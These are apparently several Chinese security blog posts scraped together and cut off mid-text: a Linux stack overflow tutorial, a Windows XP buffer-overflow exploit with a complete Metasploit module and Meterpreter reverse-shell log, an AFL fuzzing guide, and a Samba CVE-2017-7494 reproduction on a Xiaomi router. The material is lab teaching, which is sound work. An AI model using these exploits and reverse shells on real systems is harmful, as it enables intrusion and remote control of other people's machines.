<contenttype="text"><![CDATA[之前介绍了Windows x86平台下栈溢出漏洞的开放与利用,鉴于CTF基本都是Linux,还有实际开发环境,很多智能设备的系统都是基于Linux,所以从很现实的需求出发,一定要学习学习Linux下漏洞的分析。 ref: CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anquan.us/static/drops/tips-6597.html 工具: objdump、ldd、ROPgadget、readelf、https://ctf-wiki.github.io/ctf-tools/https://github.com/ctf-wiki/ctf-challenges 0x00 Control Flow hijack和Windows一样,栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段,因此我们可以通过修改数据段的内容(返回地址),改变程序的执行流程,从而达到程序流劫持的效果。改变计算机体系来规避漏洞目前是不可能的,防御者为了应对这种攻击,提出了各种增大攻击难度的措施(没有绝对安全的系统),最常见的有:DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。我们从最简单的入手,不开启任何防护,先了解栈溢出的基本操作,然后逐步增加防御措施。 寻找危险函数这里有一个漏洞程序12345678910111213#include <stdio.h>#include <string.h>void success() { puts("You Hava already controlled it."); }void vulnerable() { char s[12]; gets(s); puts(s); return;}int main(int argc, char **argv) { vulnerable(); return 0;} 当我们看到gets时就应该知道如何入手了,这是一个非常危险的函数,无条件的接受任意大的字符串。历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。先进行编译,关闭防御措施:12345678$ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1stack1.c: In function ‘vulnerable’:stack1.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets/tmp/ccUuPrSy.o: In function `vulnerable':stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used. 编译器都会提示你,gets不要再用了。-fno-stack-protector 和-z execstack分便会关掉栈保护的DEP.-no-PIE关闭 PIE(Position Independent Executable),避免加载基址被打乱。接下来关闭整个linux系统的ASLR保护:12345$ suPassword:root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 > /proc/sys/kernel/randomize_va_spaceroot@ubuntu:/home/han/ck/pwn/linux/stack_demo# exitexit 计算溢出点的位置什么是溢出点的位置:从缓冲区到覆盖返回地址所需要的字节数我们同样也可以使用工具pattern_create和pattern_offset来计算,这里我们先手动计算:把stack1拖入IDA进行反汇编分析:1234567int vulnerable(){ char s; // [sp+4h] [bp-14h]@1 gets(&s); return puts(&s);} 在伪代码窗口,我们可看到变量s和bp的距离为14h,再加上old bp的4字节,到ret的距离就是18h。123456789101112 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp--->+-----------------+ | | | | | | | | | | | |s,ebp-0x14-->+-----------------+ 劫持ret的地址这里我们想让程序跳转到success(),从IDA直接可以获取0x08048456123456789101112131415161718192021.text:08048456 success proc near.text:08048456.text:08048456 var_4 = dword ptr -4.text:08048456.text:08048456 push ebp.text:08048457 mov ebp, esp.text:08048459 push ebx.text:0804845A sub esp, 4.text:0804845D call __x86_get_pc_thunk_ax.text:08048462 add eax, 1B9Eh.text:08048467 sub esp, 0Ch.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it.".text:08048470 push edx ; s.text:08048471 mov ebx, eax.text:08048473 call _puts.text:08048478 add esp, 10h.text:0804847B nop.text:0804847C mov ebx, [ebp+var_4].text:0804847F leave.text:08048480 retn.text:08048480 success endp 那么如果我们构造的<E980A0>
<categories>
<category>Pwn二进制漏洞</category>
</categories>
<tags>
<tag>linux</tag>
<tag>pwn</tag>
<tag>栈溢出</tag>
</tags>
</entry>
<entry>
<title><![CDATA[x86-basic 漏洞利用]]></title>
<url>%2F2019%2F07%2F10%2Fx86basic%2F</url>
<contenttype="text"><![CDATA[这部分是对Window x86平台下的几个典型漏洞利用方式的介绍,从最基础的、没有开启任何保护的漏洞程序入手,然后开启GS,最后通过rop绕过DEP。 0x00 漏洞利用开发简介(1)需要什么 Immunity Debugger -Download Mona.py -Download Metasploit框架-下载 靶机–Windows XP sp3 函数调用与栈:调用、返回 寄存器与函数栈帧:ESP、EBP 函数栈帧:局部变量、栈帧状态值、函数返回地址 函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作 (2)函数调用的汇编过程 示例程序 123456charname[] = "1234567";voidfunc(int a, int b, int c){ charbuf[8]; strcpy(buf, name);} 汇编过程 PUSH c, PUSH b, PUSH a CALL address of func【保存返回地址;跳转】 MOV ebp, esp PUSH ebp SUB esp, 0x40 创建局部变量,4个字节为一组 do something add esp, 0x40 pop ebp RETN【弹出返回地址,跳转】 栈帧结构 0x01 简单栈溢出 目标程序:bof-server source codebof-server binary for Windowsusage:服务端bof-server.exe 4242客户端telnet localhost 4242versionbof-server v0.01quit 漏洞点 产生崩溃将输出的1024个A发送给靶机程序12python -c "print('A' * 1024)"telnet 192.168.64.138 4242 关闭防御措施使用PESecurity检查可执行文件本身的防御措施开启情况注意设置:Set-ExecutionPolicyUnrestricted ASLR和DEPASLR在xp下不用考虑,DEP可通过修改boot.ini中的nonexecute来完成(AlwaysOff、OptOut) 整体的攻击流程 任意非00的指令覆盖buffer和EBP 从程序已经加载的dll中获取他们的jmp esp指令地址。 使用jmp esp的指令地址覆盖ReturnAddress 从下一行开始填充Shellcode 确定溢出点的位置 生成字符序列 pattern_create.rb 发送给目标程序 计算偏移量 pattern_offset.rb 确定payload结构 寻找jmp esp跳板 OD附加进程看一下服务器加载了哪些模块 查找JMP ESP指令的地址在这里选择了ws2_32.dll作为对象,通过Metasploit的msfbinscan进行搜索 自动化攻击123456789101112131415161718192021222324252627282930313233343536373839require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Stack Based Buffer Overflow Example', 'Description' => %q{ Stack Based Overflow Example Application Exploitation Module }, 'Platform' => 'Windows', 'Author' => 'yanhan', 'Payload' =>{ 'space' => 400, 'BadChars' => "\x00\xff" }, 'Targets' => [ [ 'Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520} ] ], 'DisclosureDate' => '2019-05-25' )) end def exploit connect buf = make_nops(target['Offset']) buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded sock.put(buf) handler disconnect endend 123456789101112131415161718192021222324252627282930313233343536msf5 > use exploit/windows/yanhan/bof_attackmsf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114rhosts => 192.168.31.114msf5 exploit(windows/yanhan/bof_attack) > set rport 1000rport => 1000msf5 exploit(windows/yanhan/bof_attack) > exploit[*] Started reverse TCP handler on 192.168.31.84:4444[*] Sending stage (179779 bytes) to 192.168.31.114[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800meterpreter > lsListing: C:\Documents and Settings\Administrator================================================Mode Size Type Last modified Name---- ---- ---- ------------- ----40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT40777/rwxrwxrwx 0 dir 2019-05-14 09:54
<categories>
<category>Pwn二进制漏洞</category>
</categories>
<tags>
<tag>二进制</tag>
<tag>Windows</tag>
<tag>漏洞</tag>
</tags>
</entry>
<entry>
<title><![CDATA[AFL-爱之初体验]]></title>
<url>%2F2019%2F07%2F09%2Fafl-first-try%2F</url>
<contenttype="text"><![CDATA[这篇文章是对afl的简单使用,可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始,然后使用fuzzer对其模糊测试发现崩溃,最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。参考:https://paper.seebug.org/841/#_1 部署afl 123456> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz> tar -zxvf afl-latest.tgz> cd afl-2.52b/> make> sudo make install> 部署qemu 12345678> $ CPU_TARGET=x86_64 ./build_qemu_support.sh> [+] Build process successful!> [*] Copying binary...> -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace> [+] Successfully created '../afl-qemu-trace'.> [!] Note: can't test instrumentation when CPU_TARGET set.> [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!> 0x01 白盒测试目标程序编译 源代码 1234567891011121314#undef _FORTIFY_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13);} gcc编译(不插桩) 1234$ gcc v1.c -o v1$ ./v1whatHello, World 生成v1的目的一是为了和afl-gcc的编译做对比,二是为黑盒测试做铺垫。 使用afl-gcc进行编译-fno-stack-protector 该选项会禁止stack canary保护-z execstack 允许堆栈可执行1234$ ../afl-2.52b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl afl-cc 2.52b by <lcamtuf@google.com>afl-as 2.52b by <lcamtuf@google.com>[+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%). 测试插桩程序afl-showmap 跟踪单个输入的执行路径,并打印程序执行的输出、捕获的元组(tuples),tuple用于获取分支信息,从而衡量衡量程序覆盖情况。12345678910$ ./afl-showmap -o /dev/null -- ../vuln/v1 <<(echo test)afl-showmap 2.52b by <lcamtuf@google.com>[*] Executing '../vuln/v1'...-- Program output begins --Hello, World-- Program output ends --[-] PROGRAM ABORT : No instrumentation detected Location : main(), afl-showmap.c:773 12345678$ ./afl-showmap -o /dev/null -- ../vuln/v1-afl <<(echo test)afl-showmap 2.52b by <lcamtuf@google.com>[*] Executing '../vuln/v1-afl'...-- Program output begins --Hello, World-- Program output ends --[+] Captured 1 tuples in '/dev/null'. 可见,afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率,在这个实例程序中捕捉到了一个元组 执行FUZZER 修改core在执行afl-fuzz前,如果系统配置为将核心转储文件(core)通知发送到外部程序。12345678910111213141516171819$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-aflafl-fuzz 2.52b by <lcamtuf@google.com>[+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).[*] Checking CPU core loadout...[+] Found a free CPU core, binding to #0.[*] Checking core_pattern...[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core >/proc/sys/kernel/core_pattern[-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275 将导致将崩溃信息发送到Fuzzer之间的延迟增大,进而可能将崩溃被误报为超时,所以我们得临时修改core_pattern文件,如下所示:1echo core >/proc/sys/kernel/core_pattern 通用fuzz语法afl-fuzz对于直接从stdin接受输入的目标二进制文件,通常的语法是:1$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program [... params ...
<contenttype="text"><![CDATA[小米路由器与Samba漏洞CVE-2017-7494漏洞描述Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。具体执行条件如下: 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 共享文件拥有写入权限 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba介绍Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。 SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。 漏洞成因处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤,导致可以用绝对路径调用恶意的so文件,从而远程任意代码执行。首先看到is_known_pipename()函数 跟进到smb_probe_module() 再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数 我们可以通过smb服务上传一个恶意的so文件,该文件包含一个输出函数init_samba_module,随后通过上述过程进行调用,执行任意代码。 漏洞复现小米路由器123456netstat -apnttcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbdnmap 192.168.31.1139/tcp open netbios-ssn445/tcp open microsoft-ds 端口已开启12345678910111213141516171819202122232425262728293031323334353637383940414243444546vim /etc/samba/smb.conf deadtime = 30 domain master = yes encrypt passwords = true enable core files = no guest account = nobody guest ok = yes invalid users = local master = yes load printers = no map to guest = Bad User min receivefile size = 16384 null passwords = yes obey pam restrictions = yes passdb backend = smbpasswd preferred master = yes printable = no smb encrypt = disabled smb passwd file = /etc/samba/smbpasswd socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576 smb2 max trans = 1048576 smb2 max write = 1048576 smb2 max read = 1048576 write cache size = 262144 syslog = 2 syslog only = yes use sendfile = yes writeable = yes log level = 1 unicode = True max log size = 500 log file = /tmp/log/samba.log server role = STANDALONE[homes] comment = Home Directories browsable = no read only = no create mode = 0750[data] ***SMB_SHARE_NAME*** path = /tmp ***SMB_FOLDER*** read only = no ***具备可写权限*** guest ok = yes ***允许匿名*** create mask = 0777 directory mask = 0777 具有可写权限、目录为/tmp 攻击:使用metasploit设置攻击参数靶机是小米路由器R3,它的系统为mips架构,但是这个库好像对它的支持不是很好12345678910111213141516171819202122232425show optionsModule options (exploit/linux/samba/is_known_pipename): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directoryPayload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 7 Linux MIPSLE 执行攻击123456789101112exploit[*] Started reverse TCP handler on 192.168.216.129:4444[*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path[*] 192.168.31.1:445 - Ret